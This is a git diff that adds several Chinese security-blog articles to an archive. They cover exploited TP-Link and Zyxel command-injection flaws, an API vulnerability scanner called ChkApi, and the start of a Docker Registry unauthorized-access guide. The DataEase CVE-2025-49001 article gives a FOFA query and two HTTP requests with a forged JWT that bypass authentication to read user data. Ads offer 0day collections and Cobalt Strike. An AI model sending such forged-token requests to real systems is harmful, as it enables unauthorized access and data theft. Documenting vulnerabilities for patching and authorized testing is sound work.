+![](https://mmbiz.qpic.cn/mmbiz_png/oBANLWYScMSW47rBFzuOCUm7ezhoRFVzofFc6icb0ozGx0q56Fv57KABKjPOnhTI3RRJbzFRTDO7SClpVZt3UYw/640?wx_fmt=png&from=appmsg "") + + +该漏洞CVE-2023-33538（CVSS评分8.8）是一个命令注入漏洞，可导致在处理特殊构造的HTTP GET请求的 ssid1参数时执行任意系统命令。CISA提到，“TP-Link TL-WR940N V2/V4、TL-WR841N V8/V10和TL-WR740N V1/V2中存在一个可通过component /userRpm/WlanNetworkRpm实现命令注入的漏洞。” + +CISA提醒称受影响产品可能已达生命周期以及/或者服务周期，督促用户如无缓解措施则停用这些产品。目前尚无关于该漏洞如何遭在野利用的公开信息。 + +2024年12月，Palo Alto Networks Unit 42披露称，发现针对运营技术的恶意软件 FrostyGoop 的其它样本，以及与ENCO控制设备对应的其中一个IP地址也充当路由器 web 服务器，它通过 TP-Link WR740N 从web 浏览器访问 ENCO 设备。然而，该公司还提到，“目前尚未有有力证据表明攻击者在2024年7月的 FrostyGoop 攻击中利用CVE-2023-33538。” + +TP-Link 公司尚未就此置评。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/oBANLWYScMSW47rBFzuOCUm7ezhoRFVzyK2g9TZUTicd0b7EXvOPE4So4tWSf2WIz7dCD1jtib1PDdHLK1d4CHVg/640?wx_fmt=png&from=appmsg "") + +**CVE-2023-28771再遭活跃利用** + + + +前不久，GreyNoise 公司提醒称 Zyxel 防火墙中的一个严重漏洞（CVE-2023-28771，CVSS 评分9.8）遭利用尝试。 + +该漏洞也是操作系统命令注入漏洞，可导致未认证攻击者向可疑设备发送构造请求执行命令。Zyxel公司已在2023年4月修复该漏洞。虽然该漏洞在披露后不久就已被用于构建DDoS 僵尸网络如 Mirai，但GreyNoise 公司表示最近针对该漏洞的利用增强。244个唯一IP地址被指在短期实施利用，攻击目标主要位于美国、英国、西班牙、德国和印度。 + +GreyNoise 公司提到，“历史分析表明在6月16日之前的两周内，这些IP地址并未参与其它任何扫描或利用行为，仅针对CVE-2023-28771”，并表示发现了“与Mirai僵尸网络变体一致的指标”。为缓解该威胁，建议用户将Zyxel设备升级至最新版本，监控异常活动并限制可能的暴露情况。 + + +代码卫士试用地址： +https://codesafe.qianxin.com + +开源卫士试用地址：https://oss.qianxin.com + + + + + + + + + + + + + +**推荐阅读** + +[CISA将Erlang SSH 和 Roundcube 加入KEV清单](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523250&idx=2&sn=245cd6553dde79a725f1afe15893f164&scene=21#wechat_redirect) + + +[CISA提醒注意已遭利用的 Commvault 0day漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523124&idx=1&sn=1a8e46e871f1fae51bb1c752be774842&scene=21#wechat_redirect) + + +[NIST、CISA联合提出漏洞利用概率度量标准](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523082&idx=2&sn=4d5a25d58482d98bdb3b13320e03bb92&scene=21#wechat_redirect) + + +[CISA为CVE计划续期11个月，MITRE 成立CVE基金会防范](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522769&idx=2&sn=550a6097b86ddca08a77c2e694b9e854&scene=21#wechat_redirect) + + +[CISA：速修复已遭利用的 CentreStack 和 Windows 0day漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522701&idx=2&sn=0b8f46ac41b6d62102b7ec1c02b25f60&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://thehackernews.com/2025/06/tp-link-router-flaw-cve-2023-33538.html + + +题图： +Pixabay  +License + +**** +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2025-06/CVE-2025-49001 Dataease JWT 认证绕过导致未授权访问漏洞.md b/doc/2025-06/CVE-2025-49001 Dataease JWT 认证绕过导致未授权访问漏洞.md new file mode 100644 index 00000000..e732c88b --- /dev/null +++ b/doc/2025-06/CVE-2025-49001 Dataease JWT 认证绕过导致未授权访问漏洞.md @@ -0,0 +1,66 @@ +# CVE-2025-49001 Dataease JWT 认证绕过导致未授权访问漏洞 + HK安全小屋 2025-06-17 15:57 + +## 免责声明 + +       请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 + + +漏洞描述： + +DataEase是一款开源的商业智能和数据可视化工具。CVE-2025-49001 中，由于JWT算法实现存在缺陷，导致攻击者可以使用任何secret来伪造JWT令牌，从而绕过权限校验调用后台相关功能接口，甚至造成代码执行。 + +影响版本： + +DataEase + +FOFA: +``` +title="DataEase" +``` + + +POC1： +``` +GET /de2api/user/info HTTP/1.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept-Encoding: gzip, deflate +Accept: application/json, text/plain, */*Connection: close +Host: xx.x.xx.xx +out_auth_platform: default +X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8 +``` + +成功读取系统所有用户信息 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/A8qcyicQXeI343Bv9UHwica6iamM1Zict2M7o5dvFuNb760B0Bm6rTGGZGDGj0YfvicYatAMdsSV7FMoaP1NUDGxbBg/640?wx_fmt=jpeg&from=appmsg "") + +POC2: +``` +GET /de2api/license/version HTTP/1.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept-Encoding: gzip, deflate +Accept: application/json, text/plain, */* +Connection: closeHost: xx.x.xx.xx +out_auth_platform: default +X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8 +``` + +成功读取版本信息 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/A8qcyicQXeI343Bv9UHwica6iamM1Zict2M7e8JiaR85eSYmmDAnuibWw60E8QiadgU37oYnE0eRCiayWyNW4T37x6jrNA/640?wx_fmt=jpeg&from=appmsg "") + + + +-------- + +请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 + +请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 + +请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 + + + + + diff --git a/doc/2025-06/ChkApi - API漏洞安全检测自动化工具、解析Swagger规范Bypass未授权检测等漏洞探测.md b/doc/2025-06/ChkApi - API漏洞安全检测自动化工具、解析Swagger规范Bypass未授权检测等漏洞探测.md new file mode 100644 index 00000000..8a3a3c27 --- /dev/null +++ b/doc/2025-06/ChkApi - API漏洞安全检测自动化工具、解析Swagger规范Bypass未授权检测等漏洞探测.md @@ -0,0 +1,321 @@ +# ChkApi - API漏洞安全检测自动化工具、解析Swagger规范Bypass未授权检测等|漏洞探测 +0x727 渗透安全HackTwo 2025-06-17 16:01 + +0x01 工具介绍 + + +ChkApi一款  +API 漏洞检测工具。支持提取网页 JS 和静态地址，解析 Swagger 规范，自动发现 API 接口及 Base URL。通过 Fuzz 测试、无参/有参请求及多种 Bypass 技术，检测未授权访问、远程命令执行等漏洞。结果以文本、Excel 存储，助力甲方安全人员巡检网站资产，发现敏感信息泄漏及潜在漏洞。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaO9w85Sp165hpnBP2T9jDDibIZGRmrPrJS5LKoeJ9lXRu6mLwiaHUZcUw/640?wx_fmt=png&from=appmsg "") + + +**注意：** +现在只对常读和星标的公众号才展示大图推送，建议大家把 +**渗透安全HackTwo** +"**设为****星标⭐️** +" +**否****则可能就看不到了啦！** + +**下载地址在末尾#渗透安全HackTwo** + +0x02  +功能简介 + + +工具特点 + +功能：通过提取自动加载和静态地址中的JS和页面内容，解析Webpack打包和使用正则匹配技术，发现API接口及Base URL。针对提取的接口，通过Fuzz测试、无参和有参请求三种方式验证接口响应，进一步智能提取参数并对其进行动态测试。支持各版本Swagger解析，自动识别危险接口，结合十余种Bypass技术绕过常见限制，全面挖掘未授权访问、远程命令执行、文件上传等漏洞。所有数据统一存储至文本、Excel中，重点关注接口响应的差异性和敏感信息泄漏情况，为漏洞发现提供数据支持。 +## API安全实践架构方案 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaWYj4XibnY6DdKsg3UKA19nKSXrXlAIpwoxzxsSapmC49hKmaHmzUKhA/640?wx_fmt=png&from=appmsg "") +## API安全实践架构方案 +## 1.访问目标地址提取出自动加载的JS地址和静态地址 + +获取JS地址有如下三种方式——加载当前域JS、加载CDN JS、加载其它域JS。 + +(1) 加载的当前域JS：访问的URL地址为 +``` +https://xxx.domain.com，该URL加载了当前域的JS（https://xxx.domain.com/js/yyy.js）。 +``` + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaMGojOrPHGupWVyoevadib8NerORXdMMdvdZ2YWlVlmr3y76aSMLF7gw/640?wx_fmt=jpeg&from=appmsg "") + +(2) 加载的CDN JS：访问的URL地址为 +``` +https://xxx.domain.com，该URL加载了CDN的JS（https://xxxcdn.com/js/yyy.js）。 +``` + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiabQvHVPFic2YdgRXibgqgaoS1uSXAXD2mBIiaOPKLE5pctr99ZlkcbNicTg/640?wx_fmt=jpeg&from=appmsg "") + +(3) 加载的其他域JS：访问的URL地址为 +``` +https://xxx.domain.com，该URL加载了其它域的JS（https://xxx.domain.com:8080/js/yyy.js）。 +``` + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiatCQicqibPKVwBaduicTgIFc1rMsylueKcicEJPibt2oX4FBC7y9RCqIGsPg/640?wx_fmt=jpeg&from=appmsg "") + +(4) 静态地址：访问的URL地址为 +``` +https://xxx.domain.com，该URL地址加载了静态地址（https://xxx.domain.com/path/zzz.html）。 +提取静态地址的目的是在于全面获取目标网站的所有业务功能页面，确保不遗漏任何相关接口。 +``` + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Diac6CeLN1OWV7V9vGvyrPnLuAVMFWg39b8eqU8A7jBR4TFnkX5CvAZBw/640?wx_fmt=jpeg&from=appmsg "") + +**2.提取网页未自动加载的JS地址** + +请求上述步骤获取到的JS地址，通过正则匹配语法，提取出在网页源码里的JS地址。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Diaocn6DsBQ40Dy5iaiagjibp1oLjrcmLXekIAPNqXibbGoMQXc6qkCUEdYXA/640?wx_fmt=jpeg&from=appmsg "") + +请求上述步骤获取到的静态地址，通过正则匹配语法，提取出在网页源码里的JS地址。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaVibsZicR5FZYhnwXX41ydbkia0QdvK3S4wlpsqpcJJKV7oib2q42jbuvBQ/640?wx_fmt=jpeg&from=appmsg "") + +**3.从webpack（JavaScript 应用程序的模块打包工具）提取JS地址** + +下图就是通过webpack打包JS地址的效果，实际上其中一个JS地址为/static/js/chunk-60893c6c.6867bfa5.js，因此需要通过正则语法精确提取出红框里的内容，并拼接成完整的JS地址。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiagqIKfLbgT5D0QvOTuvZ2BNY4MUlT0zP3XWTRKyZrgiaLQ1ZDPwwsNHQ/640?wx_fmt=jpeg&from=appmsg "") + +**4.Base URL发现** + +Base URL 可以理解为每个微服务的服务名称。在许多微服务架构的系统中，每个微服务都包含着大量的 API 接口，因此寻找 API 接口的关键之一是确定正确的微服务名称。 + +微服务名称通常体现在 URL 地址的不同路径中，这个路径我称之为 Base URL。 + +寻找Base URL有两种方式——自动加载的URL地址里就有Base URL、自动加载的API接口里提取出Base URL。 + +(1) 自动加载的URL地址里就有Base URL：访问的URL地址为 +``` +https://xxx.domain.com +``` + +该URL地址自动加载了地址（https://xxx.domain.com/authControl）那么可以认为authControl就是Base URL。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Diat288dEjYOs1JFxOzaJUohct7IBf8O4N7Po9JCv7LI2LUtq9LGYCHVQ/640?wx_fmt=jpeg&from=appmsg "") + +(2) 自动加载的API接口里提取出Base URL：访问的URL地址为 +``` +https://xxx.domain.com +``` + +该URL地址自动加载了某API接口（https://xxx.domain.com/ophApi/checkCode/getCheckCode），在后续的API接口提取步骤中如果发现某API接口是/checkCode/getCheckCode，那么就会将ophApi当作Base URL。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaYpp1bO7zfpibt3jHVuHjcNY4Youib6qREJ4cFnibmMK0X1yL71rVRedew/640?wx_fmt=jpeg&from=appmsg "") + +**5.API接口的提取和Fuzz** + +(1) 请求上述所有的 JS 地址，并通过全面的正则表达式规则提取出 API 接口。例如，下图所示的 API 接口“/service/getFile?filePath=”。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaqB8tCJSdibTEM6TJBn7jCanz5JE11CC482zkaZS2wDILSno92cpQ8Pw/640?wx_fmt=jpeg&from=appmsg "") + +(2) 使用常见的API接口字典进行Fuzz测试，内置了一些常见的API接口字符串，以补充和完善API接口的提取过程。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiahVodLtGx8zvan7WHEZkQGFIiaTfp8RKfaKXqPUdBQqKbXEfqfLSoOfg/640?wx_fmt=jpeg&from=appmsg "") + +**6.Swagger各版本解析** + +支持解析各种版本的 Swagger 规范，能够精确提取所有 API 接口、请求方式、参数名称和参数类型。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaFiaMiccyUPPoFZMs8D3dHojROI3YWOzd0GibyKC6fHroVdiaD1NkcOKy0A/640?wx_fmt=jpeg&from=appmsg "") + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaVWoQ5XLeEr5A9KCgIicIFAmWqUWYKiaLIVFEm2Dicm8DTNvEuzpDxzfHQ/640?wx_fmt=jpeg&from=appmsg "") + +**7.过滤危险接口** + +有些 API 接口可能涉及删除或取消等业务操作，因此需要对这些接口进行过滤。内置了以下关键字来过滤危险接口。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaCxrkiaRW6hU0vI6HXoaYoMH8hhRcfRgVcfZVzGd7oibVlQstrXicXU8GQ/640?wx_fmt=jpeg&from=appmsg "") + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Diaiblicib0C4ZD8Pyb7CRWjpUwicAsDVoPghEaibjV6azVPcYCEjOXibNRXoAQ/640?wx_fmt=jpeg&from=appmsg "") + +**8、无参三种形式请求所有API接口** + +上述步骤已提取出所有API接口，并通过 GET、POST DATA 和 POST JSON 三种请求方式逐一请求这些接口，保存每个接口的响应包内容。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaWN57BcDHRJnlFjf7lHzBFtPVjQu418vkDShkIekwVWGjofhHZHCdOw/640?wx_fmt=jpeg&from=appmsg "") + +**9.智能提取参数** + +从无参三种请求形式保存的 API 接口响应包中提取参数，具体包括以下三种情况： + +(1) 提取响应包内容中的 key 作为参数： + +如果响应包包含字段名，这些字段名将被提取为参数。例如，提取出 id 和 branchCollegeName。{"code":0,"msg":"success","data":[{"id":"xxxxxx","branchCollegeName":"xxxxxxxx"}]} + +(2) 提取 key 为 param 或 parameter时所对应的 value 作为参数：例如，提取出 imageId。 + +{"code":200,"data":{"param":"imageId"}} + +(3) 提取响应包内容报错时，错误信息中提示缺失的内容作为参数：例如，提取出 types 或 accountId。 + +{"code":1,"msg":"Required List parameter 'types' is not present","data":null} + +{"code":500,"msg":"accountId不能为空"} + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiampALEMciatv60HpS9iaJ24PxOK6R9icu3ichJBKZlL0C70iaqhJQiaHoMuvQ/640?wx_fmt=jpeg&from=appmsg "") + +如下是提取出的参数名列表 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiatSubicictxZvawrP0uI93skFusEkF9Y1Ng0JQNVIC9CvuJ63da4JWPEg/640?wx_fmt=jpeg&from=appmsg "") + +**10.有参三种形式请求所有API接口** + +从上述步骤中整理出所有参数名称后，再次通过 GET、POST DATA 和 POST JSON 三种请求方式，携带这些参数逐一请求所有 API 接口，并保存每个接口的响应包内容。![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaMq4yicxYrHc92o8Miciba0deDHQfibJpicFcORl3cpFOk1xWm1rLS2qwI7A/640?wx_fmt=jpeg&from=appmsg "") + + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Dia9Bsdxrnhlib42HKltgQ8n2CicFNY7bTiatyU2iaJDsAptePvRHXSuzTO7Q/640?wx_fmt=jpeg&from=appmsg "") + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaUYNHDgcvH46flVynicto38y3TdktenDAAaWicr8E4hpUaPCDQvNCm2XA/640?wx_fmt=jpeg&from=appmsg "") + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiauuTZ7xfniatX4U22qck2pu9KwTal1WyicFR6zr9jicUSuxnUJJjcIMHLg/640?wx_fmt=jpeg&from=appmsg "") + +**11.Bypass测试API接口** + +对于返回状态码 301、302、401、404 等或者响应包为空的 API 接口，内置了十多种绕过方法（Bypass 技术）进行再次测试。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaWiaibLJw2V1dIUnqsWvibbaJDXvvXGgak0xCVvMtYEzcsq2ezWLD1QqFg/640?wx_fmt=jpeg&from=appmsg "") +### 数据整理 +### 在整个方案架构设计中，设置了三种数据存储方式，分别为文本文件（txt）、电子表格（Excel）和数据库（MySQL）。此项目为了易用，移除了Mysql存储。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Dia2gwvykv9mZGSIl5nQSm95AhBVjCNxlmGvqtxKdoHhKZcUibpIkcHKSg/640?wx_fmt=jpeg&from=appmsg "") + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaWdUnPpFoVSeG6jGZACgeloajucsGAMMaribvkCoicyUpsKVYibhtLHCxw/640?wx_fmt=jpeg&from=appmsg "") + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaBFBP0NOcibXicq6OaIN1SwG9w433FQ7HzG686tvjDvttb6s3ibTJvq6zw/640?wx_fmt=jpeg&from=appmsg "") + +下图展示了数据库中存储的“参数”表。其中，parameter字段表示提取出来的参数名。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaoVhWgrkt0IREjpd0cIthWR2AyeIEYQukCrx6ibEN3VOCrlZyBKeu1gQ/640?wx_fmt=jpeg&from=appmsg "") + +下图展示了数据库中存储的“无参和有参三种请求方式结果”表。其中，api_url 字段表示 API 接口地址，method 字段表示请求方式，包括 GET、POST DATA 和 POST JSON 三种方式。parameter 字段表示请求 API 接口时携带的参数。res_type 字段表示响应包的返回格式，code 字段表示响应状态码，length 字段表示响应包内容的长度。 + +这张表需要特别关注，因为在后续的运营过程中，通过分析这些数据可以发现大量 Web 漏洞。举例说明： + +寻找RCE漏洞：在api_url和parameter字段模糊匹配ping、cmd、command等关键词。 + +寻找URL跳转或者SSRF漏洞：模糊匹配url、ip等关键词。 + +寻找任意文件上传或者读取漏洞：模糊匹配upload、download、read、file等关键词。 + +寻找未授权访问漏洞：模糊匹配get、config等关键词。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiavDgKl7DfF9MUY13AcqU3S80wPJTic3pntp7LnRYO2bRJKtqgIIZbk2Q/640?wx_fmt=jpeg&from=appmsg "") + +下图展示了数据库中存储的“响应包差异化”表。其中，content_hash 字段表示响应包内容的哈希值，num 字段表示该哈希值出现的次数，length 字段表示对应响应包内容的长度，file_path 字段表示响应包保存的文件路径。 + +添加响应包差异化功能的原因在于，当测试 API 接口时未携带凭证，许多返回结果会是相同的提示缺少凭证的内容。通过此方法，可以快速过滤掉大量重复的响应包，从而降低运营成本。 + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Dia9hBTNxkibjGibic6btdicoKJ20hYYxbdxk81vHibLZPTicTTTZxekibhThoaQ/640?wx_fmt=jpeg&from=appmsg "") + +下图展示了数据库中存储的“敏感信息泄漏”表，可以看到其中包含泄漏的敏感信息，如 JDBC 连接语句、账号密码、私钥、凭证，以及各种云平台的 AKSK 等。![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Dia8rhCCichPn4U52iahHdNic1qFo9WF7EUEKqR2K1newL0J3ia1UBBh8xkuQ/640?wx_fmt=jpeg&from=appmsg "") + + +![img](https://mmbiz.qpic.cn/sz_mmbiz_jpg/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2Dia05HfmRFyISt8QFGQbiasnYN47WGybdGzyLa80HkuOIRNHibF3Wibq1M3g/640?wx_fmt=jpeg&from=appmsg "") +### + +0x03更新说明 + +``` +暂无 +``` + + +0x04 使用介绍 + +📦安装 + +为了避免踩坑,建议安装在如下环境中 + +python3.8及以上，建议VPS环境是ubuntu20，默认是python3.8。 + +需要安装chromedriver，在build.sh里内置了安装命令（默认是Linux版本的，如果是Mac电脑则自己安装下） +``` +chmod 777 build.sh +./build.sh +``` + +``` + python3 ChkApi.py -h +``` + +![image-20250120153217014](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7HEib0jVOOdl3IAia3o1ia2DiaJrIfYMefvyCbrReLRBToOOp44g8pcd1S7AO19G08NZAo7FU8R21GWQ/640?wx_fmt=png&from=appmsg "") +## 使用方法 +
语法
功能
python3 ChkApi.py -u http://www.aaa.com
对单一url进行扫描
python3 ChkApi.py -u http://www.aaa.com -c "xxxxxxxxxx"
携带cookies对单一url进行扫描
python3 ChkApi.py -f url.txt
对文件里的网站进行扫描
python3 ChkApi.py -u http://www.aaa.com --chrome off
off关闭chromedriver，默认是on
python3 ChkApi.py -u http://www.aaa.com --at 1
0 收集+探测、1 收集， 默认是0
python3 ChkApi.py -u http://www.aaa.com --na 1
不扫描API接口漏洞，1不扫描，0扫描，默认是0
## + + +**0x05 内部VIP星球介绍-V1.4（福利）** + +        如果你想学习更多**渗透测试技术/应急溯源/免杀/挖洞赚取漏洞赏金/红队打点** +欢迎加入我们**内部星球** +可获得内部工具字典和享受内部资源和 +内部交流群，**每1-2天更新1day/0day漏洞刷分上分****(2025POC更新至4000+)** +**，** +包含网上一些**付费****工具及BurpSuite自动化漏****洞探测插件，AI代审工具等等** +。shadon\Quake\ +Fofa高级会员，CTFShow等各种账号会员共享。详情直接点击下方链接进入了解，觉得价格高的师傅可后台回复"  +**星球** + "有优惠券名额有限先到先得！全网资源 +最新 +最丰富！**（🤙截止目前已有1800+多位师傅选择加入❗️早加入早享受）** + +**** + +**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新** + +**** + + +结尾 + +# 免责声明 + + +# 获取方法 + + +**公众号回复20250618获取下载** + +# 最后必看-免责声明 + + +     +文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如 +用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。 +本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。 +如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！ + + + +# 往期推荐 + + +**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）** + +**2.CS4.8-CobaltStrike4.8汉化+插件版** + +**3.最新BurpSuite2025.2.1专业版（新增AI模块）** + +**4. 最新xray1.9.11高级版下载Windows/Linux** + +**5. 最新HCL AppScan Standard** + + +渗透安全HackTwo + +微信号：关注公众号获取 + +后台回复星球加入： +知识星球 + +扫码关注 了解更多 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq6qFFAxdkV2tgPPqL76yNTw38UJ9vr5QJQE48ff1I4Gichw7adAcHQx8ePBPmwvouAhs4ArJFVdKkw/640?wx_fmt=png "二维码") + + + +[全面资产收集流程及方法解析 万字长文窥探信息收集|挖洞技巧](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491574&idx=1&sn=48d865c82a228bd135a035419c765e94&scene=21#wechat_redirect) + + diff --git a/doc/2025-06/Docker Registry 5000端口漏洞图形化利用工具实战指南.md b/doc/2025-06/Docker Registry 5000端口漏洞图形化利用工具实战指南.md new file mode 100644 index 00000000..ee0612e0 --- /dev/null +++ b/doc/2025-06/Docker Registry 5000端口漏洞图形化利用工具实战指南.md @@ -0,0 +1,84 @@ +# Docker Registry 5000端口漏洞图形化利用工具实战指南 +原创 网络丐帮帮主刘 鹏组安全 2025-06-17 07:35 + +### 由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/0YvAy5BgkyNJe4vC6qtyDX3vcGgiameZcOwiaYlDgwuutJUicHD1ZWicn2T6WTuuiaLvsAcnHBq2a4f6LkwqGtGOuxw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +前几天写了一个对[DockerApi未授权利用工具使用感受以及开发手记(2375端口)](https://mp.weixin.qq.com/s?__biz=Mzg5NDU3NDA3OQ==&mid=2247491292&idx=1&sn=44f4271661c031110f416df94284425a&scene=21#wechat_redirect) +，看看Docker还有什么可利用的点。 + +查询资料发现**5000端口** +存在**未授权访问** +。 +由于 Docker Registry 私有仓库搭建 +以后默认其他所有客户端均可以 push、pull 镜像， 如果不设置用户认证方法来对 Docker 仓库进行权限保护，对 Docker Registry 中的数据安全造成隐患。该漏洞会导致 Docker 服务器的数据被泄漏、篡改和删除，配置文件被修改，甚至通过提权来控制服务器，危害十分严重。 + +于是又写了一个图形化工具，我是小白我喜欢图形化！ + +这个点在存在还蛮多的，访问： +http://x.x.x.x/v2/_catalog +，出现如下界面，说明漏洞存在 + 